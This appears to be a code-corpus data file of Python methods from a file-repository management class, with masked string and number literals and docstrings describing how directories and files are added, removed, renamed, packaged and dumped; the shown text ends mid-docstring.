{"signature": "def get_repository(self, path, info=None, verbose=True):", "body": "<EOL>if path.strip() in ('<STR_LIT>','<STR_LIT:.>'):<EOL><INDENT>path = os.getcwd()<EOL><DEDENT>realPath = os.path.realpath( os.path.expanduser(path) )<EOL>if not os.path.isdir(realPath):<EOL><INDENT>os.makedirs(realPath)<EOL><DEDENT>if not self.is_repository(realPath):<EOL><INDENT>self.create_repository(realPath, info=info, verbose=verbose)<EOL><DEDENT>else:<EOL><INDENT>self.load_repository(realPath)<EOL><DEDENT>", "docstring": "Create a repository at given real path or load any existing one.\nThis method insures the creation of the directory in the system if it is missing.\\n\nUnlike create_repository, this method doesn't erase any existing repository\nin the path but loads it instead.\n\n**N.B. On some systems and some paths, creating a directory may requires root permissions.**\n\n:Parameters:\n    #. path (string): The real absolute path where to create the Repository.\n       If '.' or an empty string is passed, the current working directory will be used.\n    #. info (None, object): Any information that can identify the repository.\n    #. verbose (boolean): Whether to be warn and informed about any abnormalities.", "id": "f13923:c0:m30"}
{"signature": "def remove_repository(self, path=None, relatedFiles=False, relatedFolders=False, verbose=True):", "body": "if path is not None:<EOL><INDENT>realPath = os.path.realpath( os.path.expanduser(path) )<EOL><DEDENT>else:<EOL><INDENT>realPath = self.__path<EOL><DEDENT>if realPath is None:<EOL><INDENT>if verbose: warnings.warn('<STR_LIT>')<EOL>return<EOL><DEDENT>if not self.is_repository(realPath):<EOL><INDENT>if verbose: warnings.warn(\"<STR_LIT>\"%realPath)<EOL>return<EOL><DEDENT>if realPath == os.path.realpath('<STR_LIT>') :<EOL><INDENT>if verbose: warnings.warn('<STR_LIT>')<EOL>return<EOL><DEDENT>if path is not None:<EOL><INDENT>repo = Repository()<EOL>repo.load_repository(realPath)<EOL><DEDENT>else:<EOL><INDENT>repo = self<EOL><DEDENT>if relatedFiles:<EOL><INDENT>for relativePath in repo.walk_files_relative_path():<EOL><INDENT>realPath = os.path.join(repo.path, relativePath)<EOL>if not os.path.isfile(realPath):<EOL><INDENT>continue<EOL><DEDENT>if not os.path.exists(realPath):<EOL><INDENT>continue<EOL><DEDENT>os.remove( realPath )<EOL><DEDENT><DEDENT>if relatedFolders:<EOL><INDENT>for relativePath in reversed(list(repo.walk_directories_relative_path())):<EOL><INDENT>realPath = os.path.join(repo.path, relativePath)<EOL>if not os.path.isdir(realPath):<EOL><INDENT>continue<EOL><DEDENT>if not os.path.exists(realPath):<EOL><INDENT>continue<EOL><DEDENT>if not len(os.listdir(realPath)):<EOL><INDENT>os.rmdir( realPath )<EOL><DEDENT><DEDENT><DEDENT>os.remove( os.path.join(repo.path, \"<STR_LIT>\" ) )<EOL>for fname in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>p = os.path.join(repo.path, fname )<EOL>if os.path.exists( p ):<EOL><INDENT>os.remove( p )<EOL><DEDENT><DEDENT>if os.path.isdir(repo.path):<EOL><INDENT>if not len(os.listdir(repo.path)):<EOL><INDENT>os.rmdir( repo.path )<EOL><DEDENT><DEDENT>repo.__reset_repository()<EOL>", "docstring": "Remove .pyrepinfo file from path if exists and related files and directories\nwhen respective flags are set to True.\n\n:Parameters:\n    #. path (None, string): The path of the directory where to remove an existing repository.\n       If None, current repository is removed if initialized.\n    #. relatedFiles (boolean): Whether to also remove all related files from system as well.\n    #. relatedFolders (boolean): Whether to also remove all related directories from system as well.\n       Directories will be removed only if they are left empty after removing the files.\n    #. verbose (boolean): Whether to be warn and informed about any abnormalities.", "id": "f13923:c0:m31"}
{"signature": "@path_required<EOL><INDENT>@acquire_lock<EOL>@sync_required<EOL>def save(self):<DEDENT>", "body": "<EOL>repoInfoPath = os.path.join(self.__path, \"<STR_LIT>\")<EOL>try:<EOL><INDENT>fdinfo = open(repoInfoPath, '<STR_LIT:wb>')<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise Exception(\"<STR_LIT>\"%e)<EOL><DEDENT>try:<EOL><INDENT>pickle.dump( self, fdinfo, protocol=<NUM_LIT:2> )<EOL><DEDENT>except Exception as e:<EOL><INDENT>fdinfo.flush()<EOL>os.fsync(fdinfo.fileno())<EOL>fdinfo.close()<EOL>raise Exception( \"<STR_LIT>\"%e )<EOL><DEDENT>finally:<EOL><INDENT>fdinfo.flush()<EOL>os.fsync(fdinfo.fileno())<EOL>fdinfo.close()<EOL><DEDENT>repoTimePath = os.path.join(self.__path, \"<STR_LIT>\")<EOL>try:<EOL><INDENT>self.__state = (\"<STR_LIT>\"%time.time()).encode()<EOL>with open(repoTimePath, '<STR_LIT:wb>') as fdtime:<EOL><INDENT>fdtime.write( self.__state )<EOL>fdtime.flush()<EOL>os.fsync(fdtime.fileno())<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>raise Exception(\"<STR_LIT>\"%e)<EOL><DEDENT>", "docstring": "Save repository .pyrepinfo to disk.", "id": "f13923:c0:m32"}
{"signature": "@path_required<EOL><INDENT>def create_package(self, path=None, name=None, mode=None):<DEDENT>", "body": "<EOL>assert mode in (None, '<STR_LIT:w>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'), '<STR_LIT>'%str(mode)<EOL>if mode is None:<EOL><INDENT>mode = '<STR_LIT>'<EOL>mode = '<STR_LIT>'<EOL><DEDENT>if path is None:<EOL><INDENT>root = os.path.split(self.__path)[<NUM_LIT:0>]<EOL><DEDENT>elif path.strip() in ('<STR_LIT>','<STR_LIT:.>'):<EOL><INDENT>root = os.getcwd()<EOL><DEDENT>else:<EOL><INDENT>root = os.path.realpath( os.path.expanduser(path) )<EOL><DEDENT>assert os.path.isdir(root), '<STR_LIT>'%path<EOL>if name is None:<EOL><INDENT>ext = mode.split(\"<STR_LIT::>\")<EOL>if len(ext) == <NUM_LIT:2>:<EOL><INDENT>if len(ext[<NUM_LIT:1>]):<EOL><INDENT>ext = \"<STR_LIT:.>\"+ext[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>ext = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ext = '<STR_LIT>'<EOL><DEDENT>name = os.path.split(self.__path)[<NUM_LIT:1>]+ext<EOL><DEDENT>self.save()<EOL>tarfilePath = os.path.join(root, name)<EOL>try:<EOL><INDENT>tarHandler = tarfile.TarFile.open(tarfilePath, mode=mode)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise Exception(\"<STR_LIT>\"%e)<EOL><DEDENT>for directory in sorted(list(self.walk_directories_relative_path())):<EOL><INDENT>t = tarfile.TarInfo( directory )<EOL>t.type = tarfile.DIRTYPE<EOL>tarHandler.addfile(t)<EOL><DEDENT>for file in self.walk_files_relative_path():<EOL><INDENT>tarHandler.add(os.path.join(self.__path,file), arcname=file)<EOL><DEDENT>tarHandler.add(os.path.join(self.__path,\"<STR_LIT>\"), arcname=\"<STR_LIT>\")<EOL>tarHandler.close()<EOL>", "docstring": "Create a tar file package of all the repository files and directories.\nOnly files and directories that are stored in the repository info\nare stored in the package tar file.\n\n**N.B. On some systems packaging requires root permissions.**\n\n:Parameters:\n    #. path (None, string): The real absolute path where to create the package.\n       If None, it will be created in the same directory as the repository\n       If '.' or an empty string is passed, the current working directory will be used.\n    #. name (None, string): The name to give to the package file\n       If None, the package directory name will be used with the appropriate extension added.\n    #. mode (None, string): The writing mode of the tarfile.\n       If None, automatically the best compression mode will be chose.\n       Available modes are ('w', 'w:', 'w:gz', 'w:bz2')", "id": "f13923:c0:m33"}
{"signature": "def is_repository(self, path):", "body": "realPath = os.path.realpath( os.path.expanduser(path) )<EOL>if not os.path.isdir(realPath):<EOL><INDENT>return False<EOL><DEDENT>if \"<STR_LIT>\" not in os.listdir(realPath):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Check if there is a Repository in path.\n\n:Parameters:\n    #. path (string): The real path of the directory where to check if there is a repository.\n\n:Returns:\n    #. result (boolean): Whether its a repository or not.", "id": "f13923:c0:m34"}
{"signature": "def get_directory_info(self, relativePath):", "body": "relativePath = os.path.normpath(relativePath)<EOL>if relativePath in ('<STR_LIT>','<STR_LIT:.>'):<EOL><INDENT>return self, \"<STR_LIT>\"<EOL><DEDENT>currentDir  = self.__path<EOL>dirInfoDict = self<EOL>for dir in relativePath.split(os.sep):<EOL><INDENT>dirInfoDict = dict.__getitem__(dirInfoDict, \"<STR_LIT>\")<EOL>currentDir = os.path.join(currentDir, dir)<EOL>if not os.path.exists(currentDir):<EOL><INDENT>return None,  \"<STR_LIT>\"%currentDir<EOL><DEDENT>val = dirInfoDict.get(dir, None)<EOL>if val is None:<EOL><INDENT>return None,  \"<STR_LIT>\"%currentDir<EOL><DEDENT>dirInfoDict = val<EOL><DEDENT>return dirInfoDict, \"<STR_LIT>\"<EOL>", "docstring": "get directory info from the Repository.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of the directory.\n\n:Returns:\n    #. info (None, dictionary): The directory information dictionary.\n       If None, it means an error has occurred.\n    #. error (string): The error message if any error occurred.", "id": "f13923:c0:m35"}
{"signature": "def get_parent_directory_info(self, relativePath):", "body": "relativePath = os.path.normpath(relativePath)<EOL>if relativePath in ('<STR_LIT>','<STR_LIT:.>'):<EOL><INDENT>return self, \"<STR_LIT>\"<EOL><DEDENT>parentDirPath, _ = os.path.split(relativePath)<EOL>return self.get_directory_info(parentDirPath)<EOL>", "docstring": "get parent directory info of a file or directory from the Repository.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of the file or directory of which the parent directory info is requested.\n\n:Returns:\n    #. info (None, dictionary): The directory information dictionary.\n       If None, it means an error has occurred.\n    #. error (string): The error message if any error occurred.", "id": "f13923:c0:m36"}
{"signature": "def get_file_info(self, relativePath, name=None):", "body": "<EOL>relativePath = os.path.normpath(relativePath)<EOL>if relativePath == '<STR_LIT:.>':<EOL><INDENT>relativePath = '<STR_LIT>'<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL><DEDENT>if name is None:<EOL><INDENT>assert len(relativePath), \"<STR_LIT>\"<EOL>relativePath,name = os.path.split(relativePath)<EOL><DEDENT>errorMessage = \"<STR_LIT>\"<EOL>dirInfoDict, errorMessage = self.get_directory_info(relativePath)<EOL>if dirInfoDict is None:<EOL><INDENT>return None, errorMessage<EOL><DEDENT>fileInfo = dict.__getitem__(dirInfoDict, \"<STR_LIT>\").get(name, None)<EOL>if fileInfo is None:<EOL><INDENT>errorMessage = \"<STR_LIT>\"%(name, relativePath)<EOL><DEDENT>return fileInfo, errorMessage<EOL>", "docstring": "get file information dict from the repository given its relative path and name.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of the directory where the file is.\n    #. name (string): The file name.\n       If None is given, name will be split from relativePath.\n\n:Returns:\n    #. info (None, dictionary): The file information dictionary.\n       If None, it means an error has occurred.\n    #. errorMessage (string): The error message if any error occurred.", "id": "f13923:c0:m38"}
{"signature": "def get_file_info_by_id(self, id):", "body": "for path, info in self.walk_files_info():<EOL><INDENT>if info['<STR_LIT:id>']==id:<EOL><INDENT>return path, info<EOL><DEDENT><DEDENT>return None, None<EOL>", "docstring": "Given an id, get the corresponding file info as the following:\\n\n(relative path joined with file name, file info dict)\n\nParameters:\n    #. id (string): The file unique id string.\n\n:Returns:\n    #. relativePath (string): The file relative path joined with file name.\n       If None, it means file was not found.\n    #. info (None, dictionary): The file information dictionary.\n       If None, it means file was not found.", "id": "f13923:c0:m39"}
{"signature": "def get_file_relative_path_by_id(self, id):", "body": "for path, info in self.walk_files_info():<EOL><INDENT>if info['<STR_LIT:id>']==id:<EOL><INDENT>return path<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Given an id, get the corresponding file info relative path joined with file name.\n\nParameters:\n    #. id (string): The file unique id string.\n\n:Returns:\n    #. relativePath (string): The file relative path joined with file name.\n       If None, it means file was not found.", "id": "f13923:c0:m40"}
{"signature": "def get_file_relative_path_by_name(self, name, skip=<NUM_LIT:0>):", "body": "if skip is None:<EOL><INDENT>paths = []<EOL><DEDENT>else:<EOL><INDENT>paths = None<EOL><DEDENT>for path, info in self.walk_files_info():<EOL><INDENT>_, n = os.path.split(path)<EOL>if n==name:<EOL><INDENT>if skip is None:<EOL><INDENT>paths.append(path)<EOL><DEDENT>elif skip><NUM_LIT:0>:<EOL><INDENT>skip -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>paths = path<EOL>break<EOL><DEDENT><DEDENT><DEDENT>return paths<EOL>", "docstring": "Get file relative path given the file name. If file name is redundant in different\ndirectories in the repository, this method ensures to return all or some of the\nfiles according to skip value.\n\nParameters:\n    #. name (string): The file name.\n    #. skip (None, integer): As file names can be identical, skip determines\n       the number of satisfying files name to skip before returning.\\n\n       If None is given, a list of all files relative path will be returned.\n\n:Returns:\n    #. relativePath (string, list): The file relative path.\n       If None, it means file was not found.\\n\n       If skip is None a list of all found files relative paths will be returned.", "id": "f13923:c0:m41"}
{"signature": "def get_file_info_by_name(self, name, skip=<NUM_LIT:0>):", "body": "if skip is None:<EOL><INDENT>paths = []<EOL>infos = []<EOL><DEDENT>else:<EOL><INDENT>paths = None<EOL>infos = None<EOL><DEDENT>for path, info in self.walk_files_info():<EOL><INDENT>_, n = os.path.split(path)<EOL>if n==name:<EOL><INDENT>if skip is None:<EOL><INDENT>paths.append(path)<EOL>infos.append(info)<EOL><DEDENT>elif skip><NUM_LIT:0>:<EOL><INDENT>skip -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>paths = path<EOL>infos = info<EOL>break<EOL><DEDENT><DEDENT><DEDENT>return paths, infos<EOL>", "docstring": "Get file information tuple given the file name. If file name is redundant in different\ndirectories in the repository, this method ensures to return all or some of the\nfiles infos according to skip value.\n\nParameters:\n    #. name (string): The file name.\n    #. skip (None, integer): As file names can be identical, skip determines\n       the number of satisfying files name to skip before returning.\\n\n       If None is given, a list of all files relative path will be returned.\n\n:Returns:\n    #. relativePath (string, list): The file relative path joined with file name.\n       If None, it means file was not found.\\n\n       If skip is None a list of all found files relative paths will be returned.\n    #. info (None, dictionary, list): The file information dictionary.\n       If None, it means file was not found.\\n\n       If skip is None a list of all found files info dicts will be returned.", "id": "f13923:c0:m42"}
{"signature": "@acquire_lock<EOL><INDENT>@sync_required<EOL>def add_directory(self, relativePath, info=None):<DEDENT>", "body": "path = os.path.normpath(relativePath)<EOL>currentDir  = self.path<EOL>currentDict = self<EOL>if path in (\"<STR_LIT>\",\"<STR_LIT:.>\"):<EOL><INDENT>return currentDict<EOL><DEDENT>save = False<EOL>for dir in path.split(os.sep):<EOL><INDENT>dirPath = os.path.join(currentDir, dir)<EOL>if not os.path.exists(dirPath):<EOL><INDENT>os.mkdir(dirPath)<EOL><DEDENT>currentDict = dict.__getitem__(currentDict, \"<STR_LIT>\")<EOL>if currentDict.get(dir, None) is None:<EOL><INDENT>save = True<EOL>currentDict[dir] = {\"<STR_LIT>\":{}, \"<STR_LIT>\":{},<EOL>\"<STR_LIT>\":datetime.utcnow(),<EOL>\"<STR_LIT:id>\":str(uuid.uuid1()),<EOL>\"<STR_LIT:info>\": info} <EOL><DEDENT>currentDict = currentDict[dir]<EOL>currentDir  = dirPath<EOL><DEDENT>if save:<EOL><INDENT>self.save()<EOL><DEDENT>return currentDict<EOL>", "docstring": "Adds a directory in the repository and creates its\nattribute in the Repository with utc timestamp.\nIt insures adding all the missing directories in the path.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of the directory to add in the repository.\n    #. info (None, string, pickable object): Any random info about the folder.\n\n:Returns:\n    #. info (dict): The directory info dict.", "id": "f13923:c0:m43"}
{"signature": "@acquire_lock<EOL><INDENT>@sync_required<EOL>def remove_directory(self, relativePath, removeFromSystem=False):<DEDENT>", "body": "<EOL>relativePath = os.path.normpath(relativePath)<EOL>parentDirInfoDict, errorMessage = self.get_parent_directory_info(relativePath)<EOL>assert parentDirInfoDict is not None, errorMessage<EOL>path, name = os.path.split(relativePath)<EOL>if dict.__getitem__(parentDirInfoDict, '<STR_LIT>').get(name, None) is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\"%(name, path))<EOL><DEDENT>if removeFromSystem:<EOL><INDENT>for rp in self.walk_files_relative_path(relativePath=relativePath):<EOL><INDENT>ap = os.path.join(self.__path, relativePath, rp)<EOL>if not os.path.isfile(ap):<EOL><INDENT>continue<EOL><DEDENT>if not os.path.exists(ap):<EOL><INDENT>continue<EOL><DEDENT>if os.path.isfile(ap):<EOL><INDENT>os.remove( ap )<EOL><DEDENT><DEDENT>for rp in self.walk_directories_relative_path(relativePath=relativePath):<EOL><INDENT>ap = os.path.join(self.__path, relativePath, rp)<EOL>if not os.path.isdir(ap):<EOL><INDENT>continue<EOL><DEDENT>if not os.path.exists(ap):<EOL><INDENT>continue<EOL><DEDENT>if not len(os.listdir(ap)):<EOL><INDENT>os.rmdir(ap)<EOL><DEDENT><DEDENT><DEDENT>dict.__getitem__(parentDirInfoDict, '<STR_LIT>').pop(name, None)<EOL>ap = os.path.join(self.__path, relativePath)<EOL>if not os.path.isdir(ap):<EOL><INDENT>if not len(os.listdir(ap)):<EOL><INDENT>os.rmdir(ap)<EOL><DEDENT><DEDENT>self.save()<EOL>", "docstring": "Remove directory from repository.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of the directory to remove from the repository.\n    #. removeFromSystem (boolean): Whether to also remove directory and all files from the system.\\n\n       Only files saved in the repository will be removed and empty left directories.", "id": "f13923:c0:m44"}
{"signature": "@acquire_lock<EOL><INDENT>@sync_required<EOL>def move_directory(self, relativePath, relativeDestination, replace=False, verbose=True):<DEDENT>", "body": "<EOL>relativePath    = os.path.normpath(relativePath)<EOL>relativeDestination = os.path.normpath(relativeDestination)<EOL>filesInfo = list( self.walk_files_info(relativePath=relativePath) )<EOL>dirsPath  = list( self.walk_directories_relative_path(relativePath=relativePath) )<EOL>dirInfoDict, errorMessage = self.get_directory_info(relativePath)<EOL>assert dirInfoDict is not None, errorMessage<EOL>self.remove_directory(relativePath=relativePath, removeFromSystem=False)<EOL>self.add_directory(relativeDestination)<EOL>for RP, info in filesInfo:<EOL><INDENT>source      = os.path.join(self.__path, relativePath, RP)<EOL>destination = os.path.join(self.__path, relativeDestination, RP)<EOL>newDirRP, fileName = os.path.split(os.path.join(relativeDestination, RP))<EOL>dirInfoDict = self.add_directory( newDirRP )<EOL>if os.path.isfile(destination):<EOL><INDENT>if replace:<EOL><INDENT>os.remove(destination)<EOL>if verbose:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"%(fileName, newDirRP))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"%(fileName,destination))<EOL><DEDENT>continue<EOL><DEDENT><DEDENT>os.rename(source, destination)<EOL>dict.__getitem__(dirInfoDict, \"<STR_LIT>\")[fileName] = info<EOL><DEDENT>self.save()<EOL>", "docstring": "Move a directory in the repository from one place to another. It insures moving all the\nfiles and subdirectories in the system.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of the directory to be moved.\n    #. relativeDestination (string): The new relative to the repository path of the directory.\n    #. replace (boolean): Whether to replace existing files with the same name in the new created directory.\n    #. verbose (boolean): Whether to be warn and informed about any abnormalities.", "id": "f13923:c0:m45"}
{"signature": "@acquire_lock<EOL><INDENT>@sync_required<EOL>def rename_directory(self, relativePath, newName, replace=False, verbose=True):<DEDENT>", "body": "<EOL>relativePath    = os.path.normpath(relativePath)<EOL>parentDirInfoDict, errorMessage = self.get_parent_directory_info(relativePath)<EOL>assert parentDirInfoDict is not None, errorMessage<EOL>parentDirPath, dirName = os.path.split(relativePath)<EOL>realPath  = os.path.join(self.__path, relativePath)<EOL>assert os.path.isdir( realPath ), \"<STR_LIT>\"%realPath<EOL>assert dirName in dict.__getitem__(parentDirInfoDict, \"<STR_LIT>\"), \"<STR_LIT>\"%(dirName, parentDirPath)<EOL>assert newName not in dict.__getitem__(parentDirInfoDict, \"<STR_LIT>\"), \"<STR_LIT>\"%(newName, parentDirPath)<EOL>newRealPath = os.path.join(self.__path, parentDirPath, newName)<EOL>if os.path.isdir( newRealPath ):<EOL><INDENT>if replace:<EOL><INDENT>shutil.rmtree(newRealPath)<EOL>if verbose:<EOL><INDENT>warnings.warn( \"<STR_LIT>\"%newRealPath )<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception( \"<STR_LIT>\"%newRealPath )<EOL><DEDENT><DEDENT>os.rename(realPath, newRealPath)<EOL>dict.__setitem__( dict.__getitem__(parentDirInfoDict, \"<STR_LIT>\"),<EOL>newName,<EOL>dict.__getitem__(parentDirInfoDict, \"<STR_LIT>\").pop(dirName) )<EOL>self.save()<EOL>", "docstring": "Rename a directory in the repository. It insures renaming the directory in the system.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of the directory to be renamed.\n    #. newName (string): The new directory name.\n    #. replace (boolean): Whether to force renaming when new name exists in the system.\n       It fails when new folder name is registered in repository.\n    #. verbose (boolean): Whether to be warn and informed about any abnormalities.", "id": "f13923:c0:m46"}
{"signature": "@acquire_lock<EOL><INDENT>@sync_required<EOL>def rename_file(self, relativePath, name, newName, replace=False, verbose=True):<DEDENT>", "body": "<EOL>relativePath = os.path.normpath(relativePath)<EOL>if relativePath == '<STR_LIT:.>':<EOL><INDENT>relativePath = '<STR_LIT>'<EOL><DEDENT>dirInfoDict, errorMessage = self.get_directory_info(relativePath)<EOL>assert dirInfoDict is not None, errorMessage<EOL>assert name in dict.__getitem__(dirInfoDict, \"<STR_LIT>\"), \"<STR_LIT>\"%(name, relativePath)<EOL>realPath = os.path.join(self.__path, relativePath, name)<EOL>assert os.path.isfile(realPath), \"<STR_LIT>\"%realPath<EOL>assert newName not in dict.__getitem__(dirInfoDict, \"<STR_LIT>\"), \"<STR_LIT>\"%(newName, relativePath)<EOL>newRealPath = os.path.join(self.__path, relativePath, newName)<EOL>if os.path.isfile( newRealPath ):<EOL><INDENT>if replace:<EOL><INDENT>os.remove(newRealPath)<EOL>if verbose:<EOL><INDENT>warnings.warn( \"<STR_LIT>\"%(newRealPath,realPath) )<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception( \"<STR_LIT>\"%newRealPath )<EOL><DEDENT><DEDENT>os.rename(realPath, newRealPath)<EOL>dict.__setitem__( dict.__getitem__(dirInfoDict, \"<STR_LIT>\"),<EOL>newName,<EOL>dict.__getitem__(dirInfoDict, \"<STR_LIT>\").pop(name) )<EOL>self.save()<EOL>", "docstring": "Rename a directory in the repository. It insures renaming the file in the system.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of the directory where the file is located.\n    #. name (string): The file name.\n    #. newName (string): The file new name.\n    #. replace (boolean): Whether to force renaming when new folder name exists in the system.\n       It fails when new folder name is registered in repository.\n    #. verbose (boolean): Whether to be warn and informed about any abnormalities.", "id": "f13923:c0:m47"}
{"signature": "@acquire_lock<EOL><INDENT>@sync_required<EOL>def remove_file(self, relativePath, name=None, removeFromSystem=False):<DEDENT>", "body": "<EOL>relativePath = os.path.normpath(relativePath)<EOL>if relativePath == '<STR_LIT:.>':<EOL><INDENT>relativePath = '<STR_LIT>'<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL><DEDENT>if name is None:<EOL><INDENT>assert len(relativePath), \"<STR_LIT>\"<EOL>relativePath, name = os.path.split(relativePath)<EOL><DEDENT>dirInfoDict, errorMessage = self.get_directory_info(relativePath)<EOL>assert dirInfoDict is not None, errorMessage<EOL>assert name in dict.__getitem__(dirInfoDict, \"<STR_LIT>\"), \"<STR_LIT>\"%(name, relativePath)<EOL>dict.__getitem__(dirInfoDict, \"<STR_LIT>\").pop(name)<EOL>if removeFromSystem:<EOL><INDENT>ap = os.path.join(self.__path, relativePath, name )<EOL>if os.path.isfile(ap):<EOL><INDENT>os.remove( ap )<EOL><DEDENT><DEDENT>self.save()<EOL>", "docstring": "Remove file from repository.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of the directory where the file should be dumped.\n       If relativePath does not exist, it will be created automatically.\n    #. name (string): The file name.\n       If None is given, name will be split from relativePath.\n    #. removeFromSystem (boolean): Whether to also remove directory and all files from the system.\\n\n       Only files saved in the repository will be removed and empty left directories.", "id": "f13923:c0:m48"}
{"signature": "@acquire_lock<EOL><INDENT>@sync_required<EOL>def dump_copy(self, path, relativePath, name=None,<EOL>description=None,<EOL>replace=False, verbose=False):<DEDENT>", "body": "relativePath = os.path.normpath(relativePath)<EOL>if relativePath == '<STR_LIT:.>':<EOL><INDENT>relativePath = '<STR_LIT>'<EOL><DEDENT>if name is None:<EOL><INDENT>_,name = os.path.split(path)<EOL><DEDENT>self.add_directory(relativePath)<EOL>realPath = os.path.join(self.__path, relativePath)<EOL>dirInfoDict, errorMessage = self.get_directory_info(relativePath)<EOL>assert dirInfoDict is not None, errorMessage<EOL>if name in dict.__getitem__(dirInfoDict, \"<STR_LIT>\"):<EOL><INDENT>if not replace:<EOL><INDENT>if verbose:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"%(name))<EOL><DEDENT>return<EOL><DEDENT><DEDENT>dump = \"<STR_LIT>\"<EOL>pull = \"<STR_LIT>\"<EOL>try:<EOL><INDENT>shutil.copyfile(path, os.path.join(realPath,name))<EOL><DEDENT>except Exception as e:<EOL><INDENT>if verbose:<EOL><INDENT>warnings.warn(e)<EOL><DEDENT>return<EOL><DEDENT>klass = None<EOL>dict.__getitem__(dirInfoDict, \"<STR_LIT>\")[name] = {\"<STR_LIT>\":dump,<EOL>\"<STR_LIT>\":pull,<EOL>\"<STR_LIT>\":datetime.utcnow(),<EOL>\"<STR_LIT:id>\":str(uuid.uuid1()),<EOL>\"<STR_LIT:class>\": klass,<EOL>\"<STR_LIT:description>\":description}<EOL>self.save()<EOL>", "docstring": "Copy an exisitng system file to the repository.\nattribute in the Repository with utc timestamp.\n\n:Parameters:\n    #. path (str): The full path of the file to copy into the repository.\n    #. relativePath (str): The relative to the repository path of the directory where the file should be dumped.\n       If relativePath does not exist, it will be created automatically.\n    #. name (string): The file name.\n       If None is given, name will be split from path.\n    #. description (None, string, pickable object): Any random description about the file.\n    #. replace (boolean): Whether to replace any existing file with the same name if existing.\n    #. verbose (boolean): Whether to be warn and informed about any abnormalities.", "id": "f13923:c0:m49"}
{"signature": "@acquire_lock<EOL><INDENT>@sync_required<EOL>def dump_file(self, value, relativePath, name=None,<EOL>description=None, klass=None,<EOL>dump=None, pull=None,<EOL>replace=False, ACID=None, verbose=False):<DEDENT>", "body": "<EOL>if ACID is None:<EOL><INDENT>ACID = self.__ACID<EOL><DEDENT>assert isinstance(ACID, bool), \"<STR_LIT>\"<EOL>relativePath = os.path.normpath(relativePath)<EOL>if relativePath == '<STR_LIT:.>':<EOL><INDENT>relativePath = '<STR_LIT>'<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL>assert name != '<STR_LIT>', \"<STR_LIT>\"<EOL><DEDENT>if name is None:<EOL><INDENT>assert len(relativePath), \"<STR_LIT>\"<EOL>relativePath,name = os.path.split(relativePath)<EOL><DEDENT>self.add_directory(relativePath)<EOL>realPath = os.path.join(self.__path, relativePath)<EOL>dirInfoDict, errorMessage = self.get_directory_info(relativePath)<EOL>assert dirInfoDict is not None, errorMessage<EOL>if name in dict.__getitem__(dirInfoDict, \"<STR_LIT>\"):<EOL><INDENT>if not replace:<EOL><INDENT>if verbose:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"%(name))<EOL><DEDENT>return<EOL><DEDENT><DEDENT>if dump is None:<EOL><INDENT>dump=DEFAULT_DUMP<EOL><DEDENT>if pull is None:<EOL><INDENT>pull=DEFAULT_PULL<EOL><DEDENT>if ACID:<EOL><INDENT>savePath = os.path.join(tempfile.gettempdir(), str(uuid.uuid1()))<EOL><DEDENT>else:<EOL><INDENT>savePath = os.path.join(realPath,name)<EOL><DEDENT>try:<EOL><INDENT>exec( dump.replace(\"<STR_LIT>\", str(savePath)) )<EOL><DEDENT>except Exception as e:<EOL><INDENT>message = \"<STR_LIT>\"%e<EOL>if '<STR_LIT>' in dump:<EOL><INDENT>message += '<STR_LIT>'%str(get_pickling_errors(value))<EOL><DEDENT>raise Exception( message )<EOL><DEDENT>if ACID:<EOL><INDENT>try:<EOL><INDENT>shutil.copyfile(savePath, os.path.join(realPath,name))<EOL><DEDENT>except Exception as e:<EOL><INDENT>os.remove(savePath)<EOL>if verbose:<EOL><INDENT>warnings.warn(e)<EOL><DEDENT>return<EOL><DEDENT>os.remove(savePath)<EOL><DEDENT>if klass is None and value is not None:<EOL><INDENT>klass = value.__class__<EOL><DEDENT>if klass is not None:<EOL><INDENT>assert inspect.isclass(klass), \"<STR_LIT>\"<EOL><DEDENT>dict.__getitem__(dirInfoDict, \"<STR_LIT>\")[name] = {\"<STR_LIT>\":dump,<EOL>\"<STR_LIT>\":pull,<EOL>\"<STR_LIT>\":datetime.utcnow(),<EOL>\"<STR_LIT:id>\":str(uuid.uuid1()),<EOL>\"<STR_LIT:class>\": klass,<EOL>\"<STR_LIT:description>\":description}<EOL>self.save()<EOL>", "docstring": "Dump a file using its value to the system and creates its\nattribute in the Repository with utc timestamp.\n\n:Parameters:\n    #. value (object): The value of a file to dump and add to the repository. It is any python object or file.\n    #. relativePath (str): The relative to the repository path of the directory where the file should be dumped.\n       If relativePath does not exist, it will be created automatically.\n    #. name (string): The file name.\n       If None is given, name will be split from relativePath.\n    #. description (None, string, pickable object): Any random description about the file.\n    #. klass (None, class): The dumped object class. If None is given\n       klass will be automatically set to the following value.__class__\n    #. dump (None, string): The dumping method.\n       If None it will be set automatically to pickle and therefore the object must be 